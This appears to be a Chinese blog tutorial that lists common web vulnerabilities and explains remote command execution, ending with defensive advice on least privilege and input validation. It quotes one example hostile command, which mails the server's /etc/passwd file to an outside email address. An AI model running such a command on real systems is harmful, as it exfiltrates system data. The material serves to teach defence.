Web應用程式的安全性問題依其存在的形勢劃分,種類繁多,這裡不準備介紹所有的,隻介紹常見的一些。
常見Web應用安全問題安全性問題的清單:
1、跨站腳本攻擊(CSS or XSS, Cross Site Scripting)
2、SQL注入攻擊(SQL injection)
3、遠端指令執行(Code execution,個人覺得譯成代碼執行并不确切)
4、目錄周遊(Directory traversal)
5、檔案包含(File inclusion)
6、腳本代碼暴露(Script source code disclosure)
7、Http請求頭的額外的回車換行符注入(CRLF injection/HTTP response splitting)
8、跨幀腳本攻擊(Cross Frame Scripting)
9、PHP代碼注入(PHP code injection)
10、XPath injection
11、Cookie篡改(Cookie manipulation)
12、URL重定向(URL redirection)
13、Blind SQL/XPath injection for numeric/String inputs
14、Google Hacking
先不解釋它的概念,我們先假設這樣一個使用者使用場景:
有一個站點的管理入口功能非常強大,大到什麼程度呢?可以重新開機Web伺服器。
你能想出來它是如何實作的嗎?我們知道不管是PHP還是JSP,我們都可以在伺服器通過Shell調用系統(Linux or Windows)指令,等指令執行後,将執行結果傳回給用戶端。其實我們通過Web Page的管理入口管理伺服器端的各種服務就是通過類似這種管道完成的。
這裡會有什麼問題?比如我們要重新開機apache,假如系統是通過這個指令來完成的:
/$path/./apche -restart
這裡的$path是Web應用程式的基準路徑(比如:apache上的documentroot),它的實作方式是這樣的:通過使用者浏覽器用戶端傳送一個指令串給Web server,web server通過調用shell來執行傳過來的指令。
試想,如果我通過浏覽器用戶端強行傳送一個:restart, shutdown之類的指令給server,結果會是什麼樣子?
這隻是起一個小小的破壞作用,那如果我傳送一個:mail [email protected] </etc/passwd,執行結果是什麼?
結果是将linux系統的passwd檔案(linux系統使用者資訊)發送到指定的郵箱[email protected]。是不是很可怕呢?
這就是遠端指令執行漏洞的一個小小的典型例子。
至于它的更深遠的安全隐患在哪裡還需要你有更多的相關基礎知識才能夠得以深入了解和運用(比如:Web server OS, Web Service-apache/weblogic/tomcat...相關的使用技能)。
總結一下:遠端指令執行漏洞一般發生在Web系統允許使用者通過Web應用接口通路與管理Web伺服器且沒有經過嚴格的輸入驗證與過濾的情況下的一種Web應用安全漏洞。
1、嚴格限制運作Web服務的使用者權限。 就是說你的Web應用可以通路你的伺服器系統的使用者權限。一般情況一下,我們應該以白名單的形式介定Web應用可以通路伺服器系統的權限。這樣控制可以從系統級達到安全防範的效果。 2、嚴格執行使用者輸入的合法性檢查。 這裡的輸入不一定是你通過表單從鍵盤輸入,往往是Web應用已經内定了某一些操作供您選擇,而此時你可以通過Http抓包的方式擷取Http請求資訊包經改裝後重新發送。
詳細了解這一部分,請關注我後續将來介紹的《Web工作原理》部分的Http協定原理。